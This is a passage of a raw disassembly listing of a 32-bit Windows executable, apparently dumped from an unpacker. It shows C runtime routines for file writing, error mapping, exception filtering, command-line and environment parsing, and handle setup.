mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_41EBF2 mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_41EC2A loc_41EB43: ; CODE XREF: sub_41EAC2+F5j lea eax, [ebp+var_414] loc_41EB49: ; CODE XREF: sub_41EAC2+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_41EB7D mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_41EB68 inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_41EB68: ; CODE XREF: sub_41EAC2+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_41EB49 loc_41EB7D: ; CODE XREF: sub_41EAC2+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call dword_42307C ; WriteFile test eax, eax jz short loc_41EBE7 mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_41EBB9 mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_41EB43 loc_41EBB9: ; CODE XREF: sub_41EAC2+EAj ; sub_41EAC2+12Ej xor edi, edi loc_41EBBB: ; CODE XREF: sub_41EAC2+150j ; sub_41EAC2+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_41EC51 cmp [ebp+arg_0], edi jz short loc_41EC2A push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_41EC1F mov dword_4894AC, 9 mov dword_4894B0, eax jmp loc_41EC67 ; --------------------------------------------------------------------------- loc_41EBE7: ; CODE XREF: sub_41EAC2+E0j call dword_42308C ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_41EBB9 ; --------------------------------------------------------------------------- loc_41EBF2: ; CODE XREF: sub_41EAC2+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call dword_42307C ; WriteFile test eax, eax jz short loc_41EC14 mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_41EBBB ; --------------------------------------------------------------------------- loc_41EC14: ; CODE XREF: sub_41EAC2+145j call dword_42308C ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_41EBBB ; --------------------------------------------------------------------------- loc_41EC1F: ; CODE XREF: sub_41EAC2+10Fj push [ebp+arg_0] call sub_41EC6F pop ecx jmp short loc_41EC67 ; --------------------------------------------------------------------------- loc_41EC2A: ; CODE XREF: sub_41EAC2+7Bj ; sub_41EAC2+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_41EC3F mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_41EB0C loc_41EC3F: ; CODE XREF: sub_41EAC2+16Fj mov dword_4894AC, 1Ch mov dword_4894B0, edi jmp short loc_41EC67 ; --------------------------------------------------------------------------- loc_41EC51: ; CODE XREF: sub_41EAC2+FEj sub eax, [ebp+var_10] jmp short loc_41EC6A ; --------------------------------------------------------------------------- loc_41EC56: ; CODE XREF: sub_41EAC2+15j ; sub_41EAC2+37j and dword_4894B0, 0 mov dword_4894AC, 9 loc_41EC67: ; CODE XREF: sub_41EAC2+120j ; sub_41EAC2+166j ... or eax, 0FFFFFFFFh loc_41EC6A: ; CODE XREF: sub_41EAC2+4Cj ; sub_41EAC2+192j pop edi pop esi pop ebx leave retn sub_41EAC2 endp ; =============== S U B R O U T I N E ======================================= sub_41EC6F proc near ; CODE XREF: sub_4194F9+16p ; sub_4198BA+1Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4894B0, ecx mov eax, offset dword_43AF10 loc_41EC80: ; CODE XREF: sub_41EC6F+1Ej cmp ecx, [eax] jz short loc_41ECA4 add eax, 8 inc edx cmp eax, offset dword_43B078 jl short loc_41EC80 cmp ecx, 13h jb short loc_41ECB1 cmp ecx, 24h ja short loc_41ECB1 mov dword_4894AC, 0Dh retn ; --------------------------------------------------------------------------- loc_41ECA4: ; CODE XREF: sub_41EC6F+13j mov eax, dword_43AF14[edx*8] mov dword_4894AC, eax retn ; --------------------------------------------------------------------------- loc_41ECB1: ; CODE XREF: sub_41EC6F+23j ; sub_41EC6F+28j cmp ecx, 0BCh jb short loc_41ECCB cmp ecx, 0CAh mov dword_4894AC, 8 jbe short locret_41ECD5 loc_41ECCB: ; CODE XREF: sub_41EC6F+48j mov dword_4894AC, 16h locret_41ECD5: ; CODE XREF: sub_41EC6F+5Aj retn sub_41EC6F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41ECD6 proc near ; CODE XREF: sub_4198E4+E3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push [ebp+arg_0] call sub_41EE17 test eax, eax pop ecx jz loc_41EE0B mov ebx, [eax+8] test ebx, ebx jz loc_41EE0B cmp ebx, 5 jnz short loc_41ED07 and dword ptr [eax+8], 0 push 1 pop eax jmp loc_41EE14 ; --------------------------------------------------------------------------- loc_41ED07: ; CODE XREF: sub_41ECD6+23j cmp ebx, 1 jz loc_41EE06 mov ecx, dword_489560 mov [ebp+arg_0], ecx mov ecx, [ebp+arg_4] mov dword_489560, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_41EDF6 mov ecx, dword_43B0F0 mov edx, dword_43B0F4 add edx, ecx push esi cmp ecx, edx jge short loc_41ED56 lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:43B080h[esi*4] loc_41ED4D: ; CODE XREF: sub_41ECD6+7Ej and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_41ED4D loc_41ED56: ; CODE XREF: sub_41ECD6+69j mov eax, [eax] mov esi, dword_43B0FC cmp eax, 0C000008Eh jnz short loc_41ED71 mov dword_43B0FC, 83h jmp short loc_41EDE1 ; --------------------------------------------------------------------------- loc_41ED71: ; CODE XREF: sub_41ECD6+8Dj cmp eax, 0C0000090h jnz short loc_41ED84 mov dword_43B0FC, 81h jmp short loc_41EDE1 ; --------------------------------------------------------------------------- loc_41ED84: ; CODE XREF: sub_41ECD6+A0j cmp eax, 0C0000091h jnz short loc_41ED97 mov dword_43B0FC, 84h jmp short loc_41EDE1 ; --------------------------------------------------------------------------- loc_41ED97: ; CODE XREF: sub_41ECD6+B3j cmp eax, 0C0000093h jnz short loc_41EDAA mov dword_43B0FC, 85h jmp short loc_41EDE1 ; --------------------------------------------------------------------------- loc_41EDAA: ; CODE XREF: sub_41ECD6+C6j cmp eax, 0C000008Dh jnz short loc_41EDBD mov dword_43B0FC, 82h jmp short loc_41EDE1 ; --------------------------------------------------------------------------- loc_41EDBD: ; CODE XREF: sub_41ECD6+D9j cmp eax, 0C000008Fh jnz short loc_41EDD0 mov dword_43B0FC, 86h jmp short loc_41EDE1 ; --------------------------------------------------------------------------- loc_41EDD0: ; CODE XREF: sub_41ECD6+ECj cmp eax, 0C0000092h jnz short loc_41EDE1 mov dword_43B0FC, 8Ah loc_41EDE1: ; CODE XREF: sub_41ECD6+99j ; sub_41ECD6+ACj ... push dword_43B0FC push 8 call ebx pop ecx mov dword_43B0FC, esi pop ecx pop esi jmp short loc_41EDFE ; --------------------------------------------------------------------------- loc_41EDF6: ; CODE XREF: sub_41ECD6+52j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_41EDFE: ; CODE XREF: sub_41ECD6+11Ej mov eax, [ebp+arg_0] mov dword_489560, eax loc_41EE06: ; CODE XREF: sub_41ECD6+34j or eax, 0FFFFFFFFh jmp short loc_41EE14 ; --------------------------------------------------------------------------- loc_41EE0B: ; CODE XREF: sub_41ECD6+Fj ; sub_41ECD6+1Aj push [ebp+arg_4] call dword_42304C ; UnhandledExceptionFilter loc_41EE14: ; CODE XREF: sub_41ECD6+2Cj ; sub_41ECD6+133j pop ebx pop ebp retn sub_41ECD6 endp ; =============== S U B R O U T I N E ======================================= sub_41EE17 proc near ; CODE XREF: sub_41ECD6+7p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43B0F8 cmp dword_43B078, edx push esi mov eax, offset dword_43B078 jz short loc_41EE44 lea esi, [ecx+ecx*2] lea esi, ds:43B078h[esi*4] loc_41EE39: ; CODE XREF: sub_41EE17+2Bj add eax, 0Ch cmp eax, esi jnb short loc_41EE44 cmp [eax], edx jnz short loc_41EE39 loc_41EE44: ; CODE XREF: sub_41EE17+16j ; sub_41EE17+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43B078h[ecx*4] cmp eax, ecx jnb short loc_41EE57 cmp [eax], edx jz short locret_41EE59 loc_41EE57: ; CODE XREF: sub_41EE17+3Aj xor eax, eax locret_41EE59: ; CODE XREF: sub_41EE17+3Ej retn sub_41EE17 endp ; =============== S U B R O U T I N E ======================================= sub_41EE5A proc near ; CODE XREF: sub_4198E4+A5p cmp dword_48AB34, 0 jnz short loc_41EE68 call sub_41EA1C loc_41EE68: ; CODE XREF: sub_41EE5A+7j push esi mov esi, dword_48AB2C mov al, [esi] cmp al, 22h jnz short loc_41EE9A loc_41EE75: ; CODE XREF: sub_41EE5A+33j ; sub_41EE5A+36j mov al, [esi+1] inc esi cmp al, 22h jz short loc_41EE92 test al, al jz short loc_41EE92 movzx eax, al push eax call sub_420D4D test eax, eax pop ecx jz short loc_41EE75 inc esi jmp short loc_41EE75 ; --------------------------------------------------------------------------- loc_41EE92: ; CODE XREF: sub_41EE5A+21j ; sub_41EE5A+25j cmp byte ptr [esi], 22h jnz short loc_41EEA4 loc_41EE97: ; CODE XREF: sub_41EE5A+52j inc esi jmp short loc_41EEA4 ; --------------------------------------------------------------------------- loc_41EE9A: ; CODE XREF: sub_41EE5A+19j cmp al, 20h jbe short loc_41EEA4 loc_41EE9E: ; CODE XREF: sub_41EE5A+48j inc esi cmp byte ptr [esi], 20h ja short loc_41EE9E loc_41EEA4: ; CODE XREF: sub_41EE5A+3Bj ; sub_41EE5A+3Ej ... mov al, [esi] test al, al jz short loc_41EEAE cmp al, 20h jbe short loc_41EE97 loc_41EEAE: ; CODE XREF: sub_41EE5A+4Ej mov eax, esi pop esi retn sub_41EE5A endp ; =============== S U B R O U T I N E ======================================= sub_41EEB2 proc near ; CODE XREF: sub_4198E4+8Ep push ebx xor ebx, ebx cmp dword_48AB34, ebx push esi push edi jnz short loc_41EEC4 call sub_41EA1C loc_41EEC4: ; CODE XREF: sub_41EEB2+Bj mov esi, dword_4894F8 xor edi, edi loc_41EECC: ; CODE XREF: sub_41EEB2+30j mov al, [esi] cmp al, bl jz short loc_41EEE4 cmp al, 3Dh jz short loc_41EED7 inc edi loc_41EED7: ; CODE XREF: sub_41EEB2+22j push esi call sub_4177B0 pop ecx lea esi, [esi+eax+1] jmp short loc_41EECC ; --------------------------------------------------------------------------- loc_41EEE4: ; CODE XREF: sub_41EEB2+1Ej lea eax, ds:4[edi*4] push eax call sub_417889 mov esi, eax pop ecx cmp esi, ebx mov dword_4894D4, esi jnz short loc_41EF06 push 9 call sub_4199DA pop ecx loc_41EF06: ; CODE XREF: sub_41EEB2+4Aj mov edi, dword_4894F8 cmp [edi], bl jz short loc_41EF49 push ebp loc_41EF11: ; CODE XREF: sub_41EEB2+94j push edi call sub_4177B0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_41EF42 push ebp call sub_417889 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_41EF35 push 9 call sub_4199DA pop ecx loc_41EF35: ; CODE XREF: sub_41EEB2+79j push edi push dword ptr [esi] call sub_4176C0 pop ecx add esi, 4 pop ecx loc_41EF42: ; CODE XREF: sub_41EEB2+6Cj add edi, ebp cmp [edi], bl jnz short loc_41EF11 pop ebp loc_41EF49: ; CODE XREF: sub_41EEB2+5Cj push dword_4894F8 call sub_41793B pop ecx mov dword_4894F8, ebx mov [esi], ebx pop edi pop esi mov dword_48AB30, 1 pop ebx retn sub_41EEB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF6B proc near ; CODE XREF: sub_4198E4+89p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_48AB34, ebx push esi push edi jnz short loc_41EF82 call sub_41EA1C loc_41EF82: ; CODE XREF: sub_41EF6B+10j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call dword_423094 ; GetModuleFileNameA mov eax, dword_48AB2C mov off_4894E4, esi mov edi, esi cmp [eax], bl jz short loc_41EFA7 mov edi, eax loc_41EFA7: ; CODE XREF: sub_41EF6B+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_41F004 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_417889 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_41EFD7 push 8 call sub_4199DA pop ecx loc_41EFD7: ; CODE XREF: sub_41EF6B+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_41F004 mov eax, [ebp+var_4] add esp, 14h dec eax mov dword_4894CC, esi pop edi pop esi mov dword_4894C8, eax pop ebx leave retn sub_41EF6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F004 proc near ; CODE XREF: sub_41EF6B+47p ; sub_41EF6B+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_41F02E mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41F02E: ; CODE XREF: sub_41F004+20j cmp byte ptr [eax], 22h jnz short loc_41F077 loc_41F033: ; CODE XREF: sub_41F004+58j ; sub_41F004+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_41F065 test dl, dl jz short loc_41F065 movzx edx, dl test byte_48AA01[edx], 4 jz short loc_41F058 inc dword ptr [ecx] test esi, esi jz short loc_41F058 mov dl, [eax] mov [esi], dl inc esi inc eax loc_41F058: ; CODE XREF: sub_41F004+46j ; sub_41F004+4Cj inc dword ptr [ecx] test esi, esi jz short loc_41F033 mov dl, [eax] mov [esi], dl inc esi jmp short loc_41F033 ; --------------------------------------------------------------------------- loc_41F065: ; CODE XREF: sub_41F004+36j ; sub_41F004+3Aj inc dword ptr [ecx] test esi, esi jz short loc_41F06F and byte ptr [esi], 0 inc esi loc_41F06F: ; CODE XREF: sub_41F004+65j cmp byte ptr [eax], 22h jnz short loc_41F0BA inc eax jmp short loc_41F0BA ; --------------------------------------------------------------------------- loc_41F077: ; CODE XREF: sub_41F004+2Dj ; sub_41F004+A5j inc dword ptr [ecx] test esi, esi jz short loc_41F082 mov dl, [eax] mov [esi], dl inc esi loc_41F082: ; CODE XREF: sub_41F004+77j mov dl, [eax] inc eax movzx ebx, dl test byte_48AA01[ebx], 4 jz short loc_41F09D inc dword ptr [ecx] test esi, esi jz short loc_41F09C mov bl, [eax] mov [esi], bl inc esi loc_41F09C: ; CODE XREF: sub_41F004+91j inc eax loc_41F09D: ; CODE XREF: sub_41F004+8Bj cmp dl, 20h jz short loc_41F0AB test dl, dl jz short loc_41F0AF cmp dl, 9 jnz short loc_41F077 loc_41F0AB: ; CODE XREF: sub_41F004+9Cj test dl, dl jnz short loc_41F0B2 loc_41F0AF: ; CODE XREF: sub_41F004+A0j dec eax jmp short loc_41F0BA ; --------------------------------------------------------------------------- loc_41F0B2: ; CODE XREF: sub_41F004+A9j test esi, esi jz short loc_41F0BA and byte ptr [esi-1], 0 loc_41F0BA: ; CODE XREF: sub_41F004+6Ej ; sub_41F004+71j ... and [ebp+arg_10], 0 loc_41F0BE: ; CODE XREF: sub_41F004+19Ej cmp byte ptr [eax], 0 jz loc_41F1A7 loc_41F0C7: ; CODE XREF: sub_41F004+D0j mov dl, [eax] cmp dl, 20h jz short loc_41F0D3 cmp dl, 9 jnz short loc_41F0D6 loc_41F0D3: ; CODE XREF: sub_41F004+C8j inc eax jmp short loc_41F0C7 ; --------------------------------------------------------------------------- loc_41F0D6: ; CODE XREF: sub_41F004+CDj cmp byte ptr [eax], 0 jz loc_41F1A7 test edi, edi jz short loc_41F0EB mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41F0EB: ; CODE XREF: sub_41F004+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_41F0F0: ; CODE XREF: sub_41F004+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_41F0F9: ; CODE XREF: sub_41F004+FCj cmp byte ptr [eax], 5Ch jnz short loc_41F102 inc eax inc ebx jmp short loc_41F0F9 ; --------------------------------------------------------------------------- loc_41F102: ; CODE XREF: sub_41F004+F8j cmp byte ptr [eax], 22h jnz short loc_41F133 test bl, 1 jnz short loc_41F131 xor edi, edi cmp [ebp+arg_10], edi jz short loc_41F120 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_41F120 mov eax, edx jmp short loc_41F123 ; --------------------------------------------------------------------------- loc_41F120: ; CODE XREF: sub_41F004+10Dj ; sub_41F004+116j mov [ebp+arg_0], edi loc_41F123: ; CODE XREF: sub_41F004+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_41F131: ; CODE XREF: sub_41F004+106j shr ebx, 1 loc_41F133: ; CODE XREF: sub_41F004+101j mov edx, ebx dec ebx test edx, edx jz short loc_41F148 inc ebx loc_41F13B: ; CODE XREF: sub_41F004+142j test esi, esi jz short loc_41F143 mov byte ptr [esi], 5Ch inc esi loc_41F143: ; CODE XREF: sub_41F004+139j inc dword ptr [ecx] dec ebx jnz short loc_41F13B loc_41F148: ; CODE XREF: sub_41F004+134j mov dl, [eax] test dl, dl jz short loc_41F198 cmp [ebp+arg_10], 0 jnz short loc_41F15E cmp dl, 20h jz short loc_41F198 cmp dl, 9 jz short loc_41F198 loc_41F15E: ; CODE XREF: sub_41F004+14Ej cmp [ebp+arg_0], 0 jz short loc_41F192 test esi, esi jz short loc_41F181 movzx ebx, dl test byte_48AA01[ebx], 4 jz short loc_41F17A mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_41F17A: ; CODE XREF: sub_41F004+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_41F190 ; --------------------------------------------------------------------------- loc_41F181: ; CODE XREF: sub_41F004+162j movzx edx, dl test byte_48AA01[edx], 4 jz short loc_41F190 inc eax inc dword ptr [ecx] loc_41F190: ; CODE XREF: sub_41F004+17Bj ; sub_41F004+187j inc dword ptr [ecx] loc_41F192: ; CODE XREF: sub_41F004+15Ej inc eax jmp loc_41F0F0 ; --------------------------------------------------------------------------- loc_41F198: ; CODE XREF: sub_41F004+148j ; sub_41F004+153j ... test esi, esi jz short loc_41F1A0 and byte ptr [esi], 0 inc esi loc_41F1A0: ; CODE XREF: sub_41F004+196j inc dword ptr [ecx] jmp loc_41F0BE ; --------------------------------------------------------------------------- loc_41F1A7: ; CODE XREF: sub_41F004+BDj ; sub_41F004+D5j test edi, edi jz short loc_41F1AE and dword ptr [edi], 0 loc_41F1AE: ; CODE XREF: sub_41F004+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_41F004 endp ; =============== S U B R O U T I N E ======================================= sub_41F1B8 proc near ; CODE XREF: sub_4198E4+7Fp var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_489668 push ebx push ebp mov ebp, dword_42303C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_41F206 call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_41F1E7 mov dword_489668, 1 jmp short loc_41F20F ; --------------------------------------------------------------------------- loc_41F1E7: ; CODE XREF: sub_41F1B8+21j call dword_423040 ; GetEnvironmentStrings mov edi, eax cmp edi, ebx jz loc_41F2E1 mov dword_489668, 2 jmp loc_41F295 ; --------------------------------------------------------------------------- loc_41F206: ; CODE XREF: sub_41F1B8+19j cmp eax, 1 jnz loc_41F290 loc_41F20F: ; CODE XREF: sub_41F1B8+2Dj cmp esi, ebx jnz short loc_41F21F call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz loc_41F2E1 loc_41F21F: ; CODE XREF: sub_41F1B8+59j cmp [esi], bx mov eax, esi jz short loc_41F234 loc_41F226: ; CODE XREF: sub_41F1B8+73j ; sub_41F1B8+7Aj inc eax inc eax cmp [eax], bx jnz short loc_41F226 inc eax inc eax cmp [eax], bx jnz short loc_41F226 loc_41F234: ; CODE XREF: sub_41F1B8+6Cj sub eax, esi mov edi, dword_423150 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_41F285 push ebp call sub_417889 cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_41F285 push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_41F281 push [esp+18h+var_8] call sub_41793B pop ecx mov [esp+18h+var_8], ebx loc_41F281: ; CODE XREF: sub_41F1B8+B9j mov ebx, [esp+18h+var_8] loc_41F285: ; CODE XREF: sub_41F1B8+99j ; sub_41F1B8+A8j push esi call dword_423044 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_41F2E3 ; --------------------------------------------------------------------------- loc_41F290: ; CODE XREF: sub_41F1B8+51j cmp eax, 2 jnz short loc_41F2E1 loc_41F295: ; CODE XREF: sub_41F1B8+49j cmp edi, ebx jnz short loc_41F2A5 call dword_423040 ; GetEnvironmentStrings mov edi, eax cmp edi, ebx jz short loc_41F2E1 loc_41F2A5: ; CODE XREF: sub_41F1B8+DFj cmp [edi], bl mov eax, edi jz short loc_41F2B5 loc_41F2AB: ; CODE XREF: sub_41F1B8+F6j ; sub_41F1B8+FBj inc eax cmp [eax], bl jnz short loc_41F2AB inc eax cmp [eax], bl jnz short loc_41F2AB loc_41F2B5: ; CODE XREF: sub_41F1B8+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_417889 mov esi, eax pop ecx cmp esi, ebx jnz short loc_41F2CB xor esi, esi jmp short loc_41F2D6 ; --------------------------------------------------------------------------- loc_41F2CB: ; CODE XREF: sub_41F1B8+10Dj push ebp push edi push esi call sub_417090 add esp, 0Ch loc_41F2D6: ; CODE XREF: sub_41F1B8+111j push edi call dword_423048 ; FreeEnvironmentStringsA mov eax, esi jmp short loc_41F2E3 ; --------------------------------------------------------------------------- loc_41F2E1: ; CODE XREF: sub_41F1B8+39j ; sub_41F1B8+61j ... xor eax, eax loc_41F2E3: ; CODE XREF: sub_41F1B8+D6j ; sub_41F1B8+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_41F1B8 endp ; =============== S U B R O U T I N E ======================================= sub_41F2EA proc near ; CODE XREF: sub_4198E4+6Fp var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_417889 mov esi, eax pop ecx test esi, esi jnz short loc_41F30A push 1Bh call sub_4199DA pop ecx loc_41F30A: ; CODE XREF: sub_41F2EA+16j mov dword_48A7E0, esi mov dword_48A8E0, 20h lea eax, [esi+100h] loc_41F320: ; CODE XREF: sub_41F2EA+52j cmp esi, eax jnb short loc_41F33E and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_48A7E0 add esi, 8 add eax, 100h jmp short loc_41F320 ; --------------------------------------------------------------------------- loc_41F33E: ; CODE XREF: sub_41F2EA+38j lea eax, [esp+54h+var_44] push eax call dword_423198 ; GetStartupInfoA cmp word ptr [esp+54h+var_14+2], 0 jz loc_41F41A mov eax, [esp+54h+var_10] test eax, eax jz loc_41F41A mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_41F374 mov esi, eax loc_41F374: ; CODE XREF: sub_41F2EA+86j cmp dword_48A8E0, esi jge short loc_41F3CE mov edi, offset dword_48A7E4 loc_41F381: ; CODE XREF: sub_41F2EA+DAj push 100h call sub_417889 test eax, eax pop ecx jz short loc_41F3C8 add dword_48A8E0, 20h mov [edi], eax lea ecx, [eax+100h] loc_41F39F: ; CODE XREF: sub_41F2EA+CFj cmp eax, ecx jnb short loc_41F3BB and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_41F39F ; --------------------------------------------------------------------------- loc_41F3BB: ; CODE XREF: sub_41F2EA+B7j add edi, 4 cmp dword_48A8E0, esi jl short loc_41F381 jmp short loc_41F3CE ; --------------------------------------------------------------------------- loc_41F3C8: ; CODE XREF: sub_41F2EA+A4j mov esi, dword_48A8E0 loc_41F3CE: ; CODE XREF: sub_41F2EA+90j ; sub_41F2EA+DCj xor edi, edi test esi, esi jle short loc_41F41A loc_41F3D4: ; CODE XREF: sub_41F2EA+12Ej mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_41F411 mov cl, [ebp+0] test cl, 1 jz short loc_41F411 test cl, 8 jnz short loc_41F3F3 push eax call dword_423030 ; GetFileType test eax, eax jz short loc_41F411 loc_41F3F3: ; CODE XREF: sub_41F2EA+FCj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_48A7E0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_41F411: ; CODE XREF: sub_41F2EA+EFj ; sub_41F2EA+F7j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_41F3D4 loc_41F41A: ; CODE XREF: sub_41F2EA+65j ; sub_41F2EA+71j ... xor ebx, ebx loc_41F41C: ; CODE XREF: sub_41F2EA+195j mov eax, dword_48A7E0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_41F477 test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_41F437 push 0FFFFFFF6h pop eax jmp short loc_41F441 ; --------------------------------------------------------------------------- loc_41F437: ; CODE XREF: sub_41F2EA+146j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_41F441: ; CODE XREF: sub_41F2EA+14Bj push eax call dword_423034 ; GetStdHandle mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41F466 push edi call dword_423030 ; GetFileType test eax, eax jz short loc_41F466 and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_41F46C loc_41F466: ; CODE XREF: sub_41F2EA+163j ; sub_41F2EA+16Ej or byte ptr [esi+4], 40h jmp short loc_41F47B ; --------------------------------------------------------------------------- loc_41F46C: ; CODE XREF: sub_41F2EA+17Aj cmp eax, 3 jnz short loc_41F47B or byte ptr [esi+4], 8 jmp short loc_41F47B ; --------------------------------------------------------------------------- loc_41F477: ; CODE XREF: sub_41F2EA+13Ej or byte ptr [esi+4], 80h loc_41F47B: ; CODE XREF: sub_41F2EA+180j ; sub_41F2EA+185j ... inc ebx cmp ebx, 3 jl short loc_41F41C push dword_48A8E0 call dword_423038 ; LockResource pop edi pop esi pop ebp pop ebx add esp, 44h retn sub_41F2EA endp ; --------------------------------------------------------------------------- align 4 push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F4A0 proc near ; DATA XREF: sub_4198E4+Ao ; sub_41CCF1+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_41F540 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_41F4D3: ; CODE XREF: sub_41F4A0+90j cmp esi, 0FFFFFFFFh jz short loc_41F539 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_41F527 push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_41F527 js short loc_41F532 mov edi, [ebx+8] push ebx call sub_417EA0 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_417EE2 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_417F76 mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_41F527: ; CODE XREF: sub_41F4A0+40j ; sub_41F4A0+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_41F4D3 ; --------------------------------------------------------------------------- loc_41F532: ; CODE XREF: 